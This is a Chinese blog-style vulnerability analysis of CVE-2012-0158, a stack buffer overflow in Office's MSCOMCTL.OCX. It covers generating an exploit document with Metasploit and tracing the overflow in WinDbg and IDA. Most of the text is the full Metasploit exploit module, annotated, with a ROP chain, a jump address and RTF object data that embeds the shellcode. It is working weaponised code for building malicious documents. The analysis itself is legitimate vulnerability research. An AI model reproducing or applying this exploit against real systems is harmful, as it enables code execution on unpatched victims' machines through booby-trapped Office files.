漏洞调试-栈溢出漏洞-cve-2012-0158

文章目录
  1. 1. 实验环境
  2. 2. 前言
  3. 3. 漏洞调试
    1. 3.1. 漏洞利用生成
  4. 4. 分析
  5. 5. Metasploit漏洞利用脚本
  6. 6. 总结

实验环境

操作系统:Windows 7(7600)、office 2007(12.0.4518.1014)
辅助环境: MetaSploit、Windbg、ida pro

前言

这个漏洞很老,但是很好用,经常看到有利用的文章,之前也没有认真分析过系统漏洞相关的东西(ps 主要是找工作的时候被问漏洞相关的时候自己基本答不上来),所以花上2天时间分析研究下。
网上关于这个漏洞分析的文章比较多,主要看了看雪的那篇分析文章,发现就是一个由于程序员疏忽小于写成大于造成的栈溢出漏洞,比较经典典型。

漏洞调试

漏洞利用生成

看雪提供的利用样本是针对xp系统office2003的,手里没有环境,想了下手里有台BackBox上有msf,就直接用msf生成漏洞利用样本了,步骤如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
backbox@backbox-B85M-D3V:~$ sudo msfconsole

msf > search 2012-0158

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/ms12_027_mscomctl_bof 2012-04-10 average MS12-027 MSCOMCTL ActiveX Buffer Overflow


msf > use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit(ms12_027_mscomctl_bof) > info

Name: MS12-027 MSCOMCTL ActiveX Buffer Overflow
Module: exploit/windows/fileformat/ms12_027_mscomctl_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2012-04-10

Provided by:
Unknown
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
-- ----
0 Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English
1 Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.

Payload information:
Space: 900
Avoid: 1 characters

Description:
This module exploits a stack buffer overflow in MSCOMCTL.OCX. It
uses a malicious RTF to embed the specially crafted
MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April
2012. This module targets Office 2007 and Office 2010 targets. The
DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain
proposed by Abysssec. This chain uses "msgr3en.dll", which will load
after office got load, so the malicious file must be loaded through
"File / Open" to achieve exploitation.

References:
http://cvedetails.com/cve/2012-0158/
http://www.osvdb.org/81125
http://www.securityfocus.com/bid/52911
http://technet.microsoft.com/en-us/security/bulletin/MS12-027
http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-inside

msf exploit(ms12_027_mscomctl_bof) > show payloads

Compatible Payloads
===================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal G
....

msf exploit(ms12_027_mscomctl_bof) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(ms12_027_mscomctl_bof) > set CMD calc.exe
CMD => calc.exe
msf exploit(ms12_027_mscomctl_bof) > set filename 2012_0158.doc
filename => 2012_0158.doc
msf exploit(ms12_027_mscomctl_bof) > exploit

[*] Creating '2012_0158.doc' file ...
[+] 2012_0158.doc stored at /home/backbox/.msf4/local/2012_0158.doc

在Win7+office2007下可用,利用成功后直接弹出计算器。

分析

这里分析的主要目标是找到漏洞触发点及shellcode从那里开始的,怎么开始、执行的,所以就开始动手吧。


ProcMon创建calc进程堆栈

1.首先打开office,然后Windbg附加,用Process Monitor监控查看创建calc进程堆栈(堆栈溯源),发现创建进程为winexec,下断点bu kernel32!winexec,执行后在office中打开样本文件然后等一会直接断下,kv堆栈调用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> kv
ChildEBP RetAddr Args to Child
00229770 0022a6f6 0022a715 00000001 00000000 kernel32!WinExec+0xb (FPO: [2,32,0])
WARNING: Frame IP not in any known module. Following frames may be wrong.
0022a663 508b64c0 0c528b30 8b14528b b70f2872 0x22a6f6
0022a667 0c528b30 8b14528b b70f2872 ff31264a 0x508b64c0
0022a66b 8b14528b b70f2872 ff31264a 7c613cac 0xc528b30
...
0:000> da 0022a715
0022a715 "calc.exe"
0:000> !address 0022a6f6
ProcessParametrs 002713b0 in range 00270000 00370000
Environment 04390268 in range 04388000 043a0000
00140000 : 00216000 - 0002a000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageStack
Pid.Tid dfc.81c

可以看到Winexec的返回地址为0022a6f6,查看该地址属性发现的确是栈地址空间,发现了一部分shellcode,但是哪里才是shellcode的起始地址呢?翻了该地址前后也没看出什么规律来,想了下如果有一种断点能够在程序执行到栈地址的时候马上断下来就好了,网上搜索了一下没发现这种断点。

突然灵光一现,Win7不是有DEP功能么,用Process Explorer查看word进程的进程属性发现DEP标志,不过和其他的服务有点不一样其他的是DEP(permanent),查了下发现word应该是支持DEP但是没有启用,也没找到启用的方法,直接启用系统的DEP试试,bcdedit.exe/set {current} nx AlwaysOn pause,重启果然再次word打开样本文件,果然程序崩溃了。

2.继续windbg附加调试word,打开样本后F5直接断下来了(看来这个生成的样本没有DEP绕过功能啊)


DEP开启后调试情况

从这里及样本文件中16进制搜索可以确定shellcode的起始地址及栈溢出跳板地址0x27583c30,怎么才能找到程序漏洞的大概地址呢?kv查看函数调用发现栈已经被弄得七荤八素了,esp下翻翻是没有被溢出覆盖的数据,发现了一个可能的漏洞代码附近地址0x275c8a0a,并且查看该地址属于MSOMCTL模块范围内(后面想到也可以对0x27583c30所在的栈地址下内存写入断点,断下来的位置就是漏洞代码处)。

发现一个可能的漏洞代码附加地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:000> u 275c8a0a 
MSCOMCTL!DllGetClassObject+0x41cc6:
275c8a0a 8bf0 mov esi,eax
275c8a0c 83c40c add esp,0Ch
275c8a0f 85f6 test esi,esi
275c8a11 7c3d jl MSCOMCTL!DllGetClassObject+0x41d0c (275c8a50)
275c8a13 837df800 cmp dword ptr [ebp-8],0
275c8a17 8b7d08 mov edi,dword ptr [ebp+8]
275c8a1a 742a je MSCOMCTL!DllGetClassObject+0x41d02 (275c8a46)
275c8a1c 83650c00 and dword ptr [ebp+0Ch],0

;转到汇编窗口直接查看该地址附加代码
275c89f7 0f8288a60000 jb MSCOMCTL!DllGetClassObject+0x4c341 (275d3085)
275c89fd ff75f4 push dword ptr [ebp-0Ch]
275c8a00 8d45f8 lea eax,[ebp-8]
275c8a03 53 push ebx
275c8a04 50 push eax
275c8a05 e863fdffff call MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)
275c8a0a 8bf0 mov esi,eax ;漏洞附近地址
275c8a0c 83c40c add esp,0Ch
275c8a0f 85f6 test esi,esi
275c8a11 7c3d jl MSCOMCTL!DllGetClassObject+0x41d0c (275c8a50)
275c8a13 837df800 cmp dword ptr [ebp-8],0
275c8a17 8b7d08 mov edi,dword ptr [ebp+8]
275c8a1a 742a je MSCOMCTL!DllGetClassObject+0x41d02 (275c8a46)
275c8a1c 83650c00 and dword ptr [ebp+0Ch],0


可以看到在地址275c8a0处调用MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)函数后会导致栈溢出发生。

3.上ida,查看地址0x275c8a0a(Windows中大部分系统模块都有默认加载基地址,所以这里ida中的地址和内存中相同)的函数代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
BSTR v2; // ebx@1
int result; // eax@1
int v4; // esi@4
int v5; // [sp+Ch] [bp-14h]@1
SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
int v7; // [sp+18h] [bp-8h]@4
int v8; // [sp+1Ch] [bp-4h]@8

v2 = bstrString;
result = sub_275C876D((int)&v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( v5 == 'jboC' && dwBytes >= 8 ) // 这里应该是<=8 判断条件导致漏洞
{
v4 = sub_275C876D((int)&v7, v2, dwBytes); // 0x275c8a0a 这里的复制操作直接导致栈溢出
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
if ( v4 >= 0 )
{
sub_27585BE7(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}

//导致溢出的函数
int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
{
LPVOID v3; // ebx@1
int result; // eax@1
LPVOID v5; // eax@3
int v6; // esi@4
int v7; // [sp+Ch] [bp-4h]@1
const void *lpMema; // [sp+1Ch] [bp+Ch]@3

v3 = lpMem;
result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
if ( result >= 0 )
{
if ( v7 == dwBytes )
{
v5 = HeapAlloc(hHeap, 0, dwBytes);
lpMema = v5;
if ( v5 )
{
v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0);
if ( v6 >= 0 )
{
qmemcpy((void *)a1, lpMema, dwBytes); // 导致溢出的地方
v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(
v3,
&unk_27632368,
((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
0);
}
HeapFree(hHeap, 0, (LPVOID)lpMema);
result = v6;
}
else
{
result = -2147024882;
}
}
else
{
result = -2147418113;
}
}
return result;
}


通过ida f5出来的伪代码基本就可以确定漏洞发生的整个过程,sub_275C89C7中调用sub_275C876D函数向栈缓冲去复制数据但是没有考虑栈空间的大小导致溢出,栈空间大小最大就0xC。

4.Windbg动态调试验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//断点情况
0:000> bl
0 e 7584e5fd 0001 (0001) 0:**** kernel32!WinExec
1 e 27586d44 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject
2 e 275c89fd 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x41cb9 ".echo 调用sub_275C876D((int)&v7, v2, dwBytes) 复制导致栈溢出的地方"
3 e 275c87cb 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x41a87 ".echo qmemcpy((void *)a1, lpMema, dwBytes) 直接溢出的地方"
4 e 275c8a0a 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x41cc6 ".echo 溢出的函数然后的返回地址1"
5 e 27583c30 e 1 0001 (0001) 0:**** MSCOMCTL!DllCanUnloadNow+0xc7d ".echo 栈溢出跳板指令"
//进入sub_275C876D函数后调用堆栈情况
0030a3e4 275c8a0a 0030a410 0aaf08e8 00008282 MSCOMCTL!DllGetClassObject+0x41a29
0030a418 275e701a 071b9644 0aaf08e8 00000000 MSCOMCTL!DllGetClassObject+0x41cc6
0030a440 275e7361 071b9644 0aaf08e8 0aaf08e8 MSCOMCTL!DLLGetDocumentation+0xd08
0030a460 275ca8b6 0712eea8 0aaf08e8 0712ed00 MSCOMCTL!DLLGetDocumentation+0x104f
0030a4e0 2758aee8 0712ecb0 00000000 0aaf08e8 MSCOMCTL!DllGetClassObject+0x43b72
0030a510 27600908 0712ed00 0aaf08e8 00000000 MSCOMCTL!DllGetClassObject+0x41a4
// 栈地址0030a410 0aaf08e8 大小 00008282
sub_275C876D((int)&v7, v2, dwBytes)



栈溢出前的堆栈情况

栈溢出后的堆栈情况

Metasploit漏洞利用脚本

分析完漏洞原因就可以写漏洞利用程序了,最简单的方式就是利用msf生成可以各种配置,简单方便。找到这个漏洞的rb脚本,一般所有的利用脚本都在/opt/metasploit-framework/modules/exploits/,具体路径就是之前显示的那个exploit/windows/fileformat/ms12_027_mscomctl_bof.rb。
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
#需要的类库
require 'msf/core'

#< 表示继承
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

#定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系
#统指明不同的返回地址、指明 shellcode 中禁止出现的特殊字符、
#漏洞相关的描述、URL 引用、作者信息等
def initialize(info = {})
super(update_info(info,
'Name' => 'MS12-027 MSCOMCTL ActiveX Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious
RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited
in the wild on April 2012.

This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office
2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses
"msgr3en.dll", which will load after office got load, so the malicious file must
be loaded through "File / Open" to achieve exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0158' ],
[ 'OSVDB', '81125' ],
[ 'BID', '52911' ],
[ 'MSB', 'MS12-027' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ],
[ 'URL', 'http://abysssec.com/files/The_Arashi.pdf' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500,
'Space' => 900,
'BadChars' => "\x00",
'DisableNops' => true # no need
},
'Platform' => 'win',
'Targets' =>
[
# winword.exe v12.0.4518.1014 (No Service Pack)
# winword.exe v12.0.6211.1000 (SP1)
# winword.exe v12.0.6425.1000 (SP2)
# winword.exe v12.0.6612.1000 (SP3)
[ 'Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English',
{
'Offset' => 270,
'Ret' => 0x27583c30, # jmp esp # MSCOMCTL.ocx 6.1.95.45 跳板指令地址
'Rop' => false
}
],
# winword.exe v14.0.6024.1000 (SP1)
[ 'Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English',
{
'Ret' => 0x3F2CB9E1, # ret # msgr3en.dll
'Rop' => true,
'RopOffset' => 120
}
],
],
'DisclosureDate' => 'Apr 10 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
], self.class)
end

def stream(bytes)
Rex::Text.to_hex(bytes).gsub("\\x", "")
end

def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end

# Ikazuchi ROP chain (msgr3en.dll)
# Credits to Abysssec
# http://abysssec.com/files/The_Arashi.pdf
def create_rop_chain
rop_gadgets = [
0x3F2CB9E0, # POP ECX # RETN
0x3F10115C, # HeapCreate() IAT = 3F10115C
# EAX == HeapCreate() Address
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# Call HeapCreate() and Create a Executable Heap. After this call, EAX contain our Heap Address.
0x3F39AFCF, # CALL EAX # RETN
0x00040000,
0x00010000,
0x00000000,
0x3F2CB9E0, # POP ECX # RETN
0x00008000, # pop 0x00008000 into ECX
# add ECX to EAX and instead of calling HeapAlloc, now EAX point to the RWX Heap
0x3F39CB46, # ADD EAX,ECX # POP ESI # RETN
junk,
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 into ECX, it is a writable address.
# storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;)
0x3F2233CC, # MOV DWORD PTR DS:[ECX],EAX # RETN
0x3F2D59DF, #POP EAX # ADD DWORD PTR DS:[EAX],ESP # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
# then we add ESP to the Zero which result in storing ESP into that address,
# we need ESP address for copying shellcode ( which stores in Stack ),
# and we have to get it dynamically at run-time, now with my tricky instruction, we have it!
0x3F2F18CC, # POP EAX # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 ( ESP address ) into EAX
# makes ECX point to nearly offset of Stack.
0x3F2B745E, # MOV ECX,DWORD PTR DS:[EAX] #RETN
0x3F39795E, # POP EDX # RETN
0x00000024, # pop 0x00000024 into EDX
# add 0x24 to ECX ( Stack address )
0x3F39CB44, # ADD ECX,EDX # ADD EAX,ECX # POP ESI # RETN
junk,
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
# mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location,
# and the popping it into ESI ! now ESI point where shellcode stores in stack
0x3F3A16DE, # MOV DWORD PTR DS:[ECX],EAX # XOR EAX,EAX # POP ESI # RETN
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# makes EDI = Our RWX Heap Address
0x3F2B0A7C, # XCHG EAX,EDI # RETN 4
0x3F2CB9E0, # POP ECX # RETN
junk,
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# just skip some junks
0x3F38BEFB, # ADD AL,58 # RETN
0x3F2CB9E0, # POP ECX # RETN
0x00000300, # pop 0x00000300 into ECX ( 0x300 * 4 = Copy lent )
# Copy shellcode from stack into RWX Heap
0x3F3441B4, # REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # POP EDI # POP ESI # RETN
junk(2), # pop into edi # pop into esi
0x3F39AFCF # CALL EAX # RETN
].flatten.pack("V*")

# To avoid shellcode being corrupted in the stack before ret
rop_gadgets << "\x90" * target['RopOffset'] # make_nops doesn't have sense here
return rop_gadgets

end

#将填充物、返回地址、shellcode 等组织成最终的 attack_buffer,并
#发送
def exploit
#返回地址
ret_address = stream([target.ret].pack("V"))

#对shellcode处理
if target['Rop']
shellcode = stream(create_rop_chain)
else
# To avoid shellcode being corrupted in the stack before ret
shellcode = stream(make_nops(target['Offset']))
shellcode << stream(Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string)
shellcode << stream(make_nops(4))
end
shellcode << stream(payload.encoded)
while shellcode.length < 2378
shellcode += "0"
end

content = "{\\rtf1"
content << "{\\fonttbl{\\f0\\fnil\\fcharset0 Verdana;}}"
content << "\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"
content << "\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"
content << "{\\object\\objocx"
content << "{\\*\\objdata"
content << "\n"
content << "01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"
content << "00000000000000000E0000"
content << "\n"
content << "D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"
content << "00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"
content << "FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"
content << "72007900000000000000000000000000000000000000000000000000000000000000000000000000"
content << "000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"
content << "0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"
content << "49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"
content << "0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000600000000000000"
content << "03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"
content << "000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"
content << "00000000000000000000000000000000000000000000000000000000000000000000000001000000"
content << "160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"
content << "000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"
content << "FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"
content << "00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"
content << "0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"
content << "11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000004C00690073007400"
content << "56006900650077004100000000000000000000000000000000000000000000000000000000000000"
content << "0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"
content << "1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"
content << "05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"
content << "6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"
content << "000000000000"
content << ret_address #这里就是 跳板指令 0x27583c30
content << "9090909090909090"
content << shellcode #这里是要执行的shellcode 根据你的选择添加
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
